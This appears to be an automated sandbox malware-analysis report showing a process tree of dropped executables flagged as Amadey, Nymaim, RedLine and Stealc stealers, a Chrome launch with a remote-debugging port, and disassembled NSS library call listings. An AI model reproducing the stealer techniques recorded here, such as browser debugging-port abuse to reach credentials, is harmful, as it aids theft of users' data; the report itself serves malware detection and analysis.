MD5 hash:	48BBAE0E073AB8356B2A67806A19EDCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2153405873.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2112173994.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:44:40
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc70000
File size:	1'894'400 bytes
MD5 hash:	48BBAE0E073AB8356B2A67806A19EDCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2166561080.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2125859235.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:45:00
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc70000
File size:	1'894'400 bytes
MD5 hash:	48BBAE0E073AB8356B2A67806A19EDCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.3253136723.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2317166328.0000000005460000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	03:45:16
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe"
Imagebase:	0x9a0000
File size:	4'421'120 bytes
MD5 hash:	904BBDF992562F081562D83AC2966973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	03:45:25
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe"
Imagebase:	0x400000
File size:	2'028'032 bytes
MD5 hash:	97E06ACDD95DB30F5421CD163F25EC93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 0000000F.00000002.3253380575.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 0000000F.00000003.2581320069.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.3292535145.0000000004790000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:45:38
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe"
Imagebase:	0xb70000
File size:	4'478'976 bytes
MD5 hash:	D3A6B0FC90AA053987D7565F37E8E5FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:45:46
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe"
Imagebase:	0x400000
File size:	1'864'192 bytes
MD5 hash:	7FAF7FC154BF9F008BFA3F8FDAF989E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	03:45:55
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe"
Imagebase:	0x390000
File size:	1'811'968 bytes
MD5 hash:	02F94F35B367A81B399909DCB6405AE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2930941687.0000000000391000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000003.2878391361.0000000005140000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:45:59
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:46:00
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe"
Imagebase:	0x400000
File size:	1'864'192 bytes
MD5 hash:	7FAF7FC154BF9F008BFA3F8FDAF989E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3276938516.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	03:46:00
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2332,i,12861390567964963251,12216732073079238039,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6C5B6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C702120,6C5B7E60), ref: 6C5B6EBC
TlsGetValue.KERNEL32 ref: 6C5B6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C5B6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C5B6F25

Part of subcall function 6C58A900: TlsGetValue.KERNEL32(00000000,?,6C7014E4,?,6C524DD9), ref: 6C58A90F
Part of subcall function 6C58A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C58A94F

PR_Unlock.NSS3 ref: 6C5B6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C5B6FA9
TlsGetValue.KERNEL32 ref: 6C5B70B4
EnterCriticalSection.KERNEL32(?), ref: 6C5B70C8
PR_CallOnce.NSS3(6C7024C0,6C5F7590), ref: 6C5B7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5B7117
SECOID_Init.NSS3 ref: 6C5B7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C5B714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B71A9
PR_NotifyAllCondVar.NSS3 ref: 6C5B71CF
PR_Unlock.NSS3 ref: 6C5B71DD
free.MOZGLUE(?), ref: 6C5B71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5B7208
free.MOZGLUE(00000000), ref: 6C5B7221
free.MOZGLUE(00000001), ref: 6C5B7235
TlsGetValue.KERNEL32 ref: 6C5B724A
EnterCriticalSection.KERNEL32(?), ref: 6C5B725E
PR_NotifyCondVar.NSS3 ref: 6C5B7273
PR_Unlock.NSS3 ref: 6C5B7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C5B7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5B7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C6F0148,,defaultModDB,internalKeySlot), ref: 6C5B74CC
free.MOZGLUE(00000000), ref: 6C5B7513
free.MOZGLUE(00000000), ref: 6C5B751B
free.MOZGLUE(00000000), ref: 6C5B7528
free.MOZGLUE(00000000), ref: 6C5B753C
free.MOZGLUE(00000000), ref: 6C5B7550
free.MOZGLUE(00000000), ref: 6C5B7561
free.MOZGLUE(00000000), ref: 6C5B7572
free.MOZGLUE(00000000), ref: 6C5B7583
free.MOZGLUE(00000000), ref: 6C5B7594
free.MOZGLUE(00000000), ref: 6C5B75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C5B75BD
free.MOZGLUE(00000000), ref: 6C5B75C8
free.MOZGLUE(00000000), ref: 6C5B75F1
PR_NewLock.NSS3 ref: 6C5B7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C5B7686
PR_NewLock.NSS3 ref: 6C5B76A2

Part of subcall function 6C6698D0: calloc.MOZGLUE(00000001,00000084,6C590936,00000001,?,6C59102C), ref: 6C6698E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C5B76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C5B7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C5B771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C5B7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C5B774A
DeleteCriticalSection.KERNEL32(?), ref: 6C5B7770
free.MOZGLUE(?), ref: 6C5B7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C5B77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5B77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C5B7821
PORT_Alloc_Util.NSS3(?), ref: 6C5B7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5B786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C5B78AC
free.MOZGLUE(00000000), ref: 6C5B78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C5B78F3
free.MOZGLUE(00000000), ref: 6C5B78FC
free.MOZGLUE(00000000), ref: 6C5B791C

Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907AD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907CD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907D6
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C52204A), ref: 6C5907E4
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,6C52204A), ref: 6C590864
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C590880
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,6C52204A), ref: 6C5908CB
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908D7
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908FB

Strings

dbm:, xrefs: 6C5B7716
,defaultModDB,internalKeySlot, xrefs: 6C5B748D, 6C5B74AA
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C5B74C7
NSS Internal Module, xrefs: 6C5B74A2, 6C5B74C6
Spac, xrefs: 6C5B7389
kbi., xrefs: 6C5B7886
dll, xrefs: 6C5B788E
rdb:, xrefs: 6C5B7744
extern:, xrefs: 6C5B772B
sql:, xrefs: 6C5B76FE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 87425393d6df32b88e0efa81c8344aeab50e34d860c56444b3b3d1f991a0c996
Instruction ID: 2034c2ebb4e4e704aae6566be3aead89b93073f8681d49faec92bd5d24509126
Opcode Fuzzy Hash: 87425393d6df32b88e0efa81c8344aeab50e34d860c56444b3b3d1f991a0c996
Instruction Fuzzy Hash: 4C5213B1E01301ABEF108F64DC55BAE7FB4AF06388F144429EC1AB6B41EB71D954CBA5

Function 6C5DBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C5DC0C8

Part of subcall function 6C669440: LeaveCriticalSection.KERNEL32 ref: 6C6695CD
Part of subcall function 6C669440: TlsGetValue.KERNEL32 ref: 6C669622
Part of subcall function 6C669440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C66964E

PR_EnterMonitor.NSS3 ref: 6C5DC0AE

Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C6691AA
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669212
Part of subcall function 6C669090: _PR_MD_WAIT_CV.NSS3 ref: 6C66926B

Part of subcall function 6C590600: GetLastError.KERNEL32(?,?,?,?,?,6C5905E2), ref: 6C590642
Part of subcall function 6C590600: TlsGetValue.KERNEL32(?,?,?,?,?,6C5905E2), ref: 6C59065D
Part of subcall function 6C590600: GetLastError.KERNEL32 ref: 6C590678
Part of subcall function 6C590600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C59068A
Part of subcall function 6C590600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C590693
Part of subcall function 6C590600: PR_SetErrorText.NSS3(00000000,?), ref: 6C59069D
Part of subcall function 6C590600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,E4C3A9E4,?,?,?,?,?,6C5905E2), ref: 6C5906CA
Part of subcall function 6C590600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C5905E2), ref: 6C5906E6

PR_EnterMonitor.NSS3 ref: 6C5DC0F2
PR_ExitMonitor.NSS3 ref: 6C5DC10E
PR_ExitMonitor.NSS3 ref: 6C5DC081

Part of subcall function 6C669440: TlsGetValue.KERNEL32 ref: 6C66945B
Part of subcall function 6C669440: TlsGetValue.KERNEL32 ref: 6C669479
Part of subcall function 6C669440: EnterCriticalSection.KERNEL32 ref: 6C669495
Part of subcall function 6C669440: TlsGetValue.KERNEL32 ref: 6C6694E4
Part of subcall function 6C669440: TlsGetValue.KERNEL32 ref: 6C669532
Part of subcall function 6C669440: LeaveCriticalSection.KERNEL32 ref: 6C66955D

PR_EnterMonitor.NSS3 ref: 6C5DC068

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

Part of subcall function 6C590600: GetProcAddress.KERNEL32(?,?), ref: 6C590623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C5DC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C5DC183
free.MOZGLUE(00000000), ref: 6C5DC18E
PR_LoadLibrary.NSS3(?), ref: 6C5DC1A3
PR_EnterMonitor.NSS3 ref: 6C5DC1D4
PR_ExitMonitor.NSS3 ref: 6C5DC1F3
PR_CallOnce.NSS3(6C702318,6C5DCA70), ref: 6C5DC210
PR_EnterMonitor.NSS3 ref: 6C5DC22B
PR_ExitMonitor.NSS3 ref: 6C5DC247
PR_EnterMonitor.NSS3 ref: 6C5DC26A
PR_ExitMonitor.NSS3 ref: 6C5DC287
PR_UnloadLibrary.NSS3(?), ref: 6C5DC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C5DC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C5DC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C5DC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C5DC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C5DC7B5
PR_UnloadLibrary.NSS3(?), ref: 6C5DC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C5DC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5DC8BF
PORT_Alloc_Util.NSS3(?), ref: 6C5DC8D5
free.MOZGLUE(00000000), ref: 6C5DC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5DC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5DC9E5
free.MOZGLUE(00000000), ref: 6C5DCA5A

Strings

NSS_DEBUG_PKCS11_MODULE, xrefs: 6C5DC38D
NSS_FORCE_TOKEN_LOCK, xrefs: 6C5DC77D
FC_GetInterface, xrefs: 6C5DC054
PKCS 11, xrefs: 6C5DC2F9, 6C5DC314
FC_GetFunctionList, xrefs: 6C5DC098
NSS_DISABLE_UNLOAD, xrefs: 6C5DC7B0
NSC_GetFunctionList, xrefs: 6C5DC093
NSC_GetInterface, xrefs: 6C5DC04F
NSS_ReturnModuleSpecData, xrefs: 6C5DC275
nss_mod_log, xrefs: 6C5DC3CC
NSC_ModuleDBFunc, xrefs: 6C5DC0FC
Vendor NSS FIPS Interface, xrefs: 6C5DC34A

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 43f1641be01539a6a1c176d2a81ffe283f512cb745d1020482cbf5a9b0e65171
Instruction ID: 4f5e2c0f00dc1d3916766f453236ff6d203eacd9afdf6d3bc836b8f65bd60a2c
Opcode Fuzzy Hash: 43f1641be01539a6a1c176d2a81ffe283f512cb745d1020482cbf5a9b0e65171
Instruction Fuzzy Hash: 894258F2B003049BDB00DF99DC8AB5A3BB5BB46348F16406DD8059BB21EB31F955CB99

Function 6C6B3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C6B3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6B3FFE
malloc.MOZGLUE(-00000003), ref: 6C6B4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6EFC62), ref: 6C6B404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6B407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6B40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C6B40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6B4112
malloc.MOZGLUE(00000000), ref: 6C6B411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C6B414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6B4160
free.MOZGLUE(?), ref: 6C6B416C
malloc.MOZGLUE(?), ref: 6C6B41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C6B41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C6B4520), ref: 6C6B4244
GetEnvironmentStrings.KERNEL32 ref: 6C6B424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B42E4
malloc.MOZGLUE(00000002), ref: 6C6B42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C6B4342
GetStdHandle.KERNEL32(000000F6), ref: 6C6B43AB
GetStdHandle.KERNEL32(000000F5), ref: 6C6B43B2
GetStdHandle.KERNEL32(000000F4), ref: 6C6B43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C6B4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6B4410

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C6B445E
CloseHandle.KERNEL32(?), ref: 6C6B446B
free.MOZGLUE(?), ref: 6C6B4482
free.MOZGLUE(00000000), ref: 6C6B4492
free.MOZGLUE(00000000), ref: 6C6B44A4
GetLastError.KERNEL32 ref: 6C6B44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C6B44BE
free.MOZGLUE(?), ref: 6C6B44C7
free.MOZGLUE(00000000), ref: 6C6B44D5
free.MOZGLUE(00000000), ref: 6C6B44EA

Strings

D, xrefs: 6C6B4396
NSPR_INHERIT_FDS=, xrefs: 6C6B41E9
=, xrefs: 6C6B44F8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 076c0b7a57ad045ff5a2f456c4130d5122462f4a079c6f1472a1e064aa47b2ff
Instruction ID: 4911a97d7b45714bb7c09209876c5716c0338aa474c09a331d4375ffac595b85
Opcode Fuzzy Hash: 076c0b7a57ad045ff5a2f456c4130d5122462f4a079c6f1472a1e064aa47b2ff
Instruction Fuzzy Hash: 7802F871E053119FEB108F69C8807BEBBB5AF16308F244129DC6AB7741D7B1E825CB99

Function 6C5C6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C6CA8EC,0000006C), ref: 6C5C6DC6
memcpy.VCRUNTIME140(?,6C6CA958,0000006C), ref: 6C5C6DDB
memcpy.VCRUNTIME140(?,6C6CA9C4,00000078), ref: 6C5C6DF1
memcpy.VCRUNTIME140(?,6C6CAA3C,0000006C), ref: 6C5C6E06
memcpy.VCRUNTIME140(?,6C6CAAA8,00000060), ref: 6C5C6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5C6E38

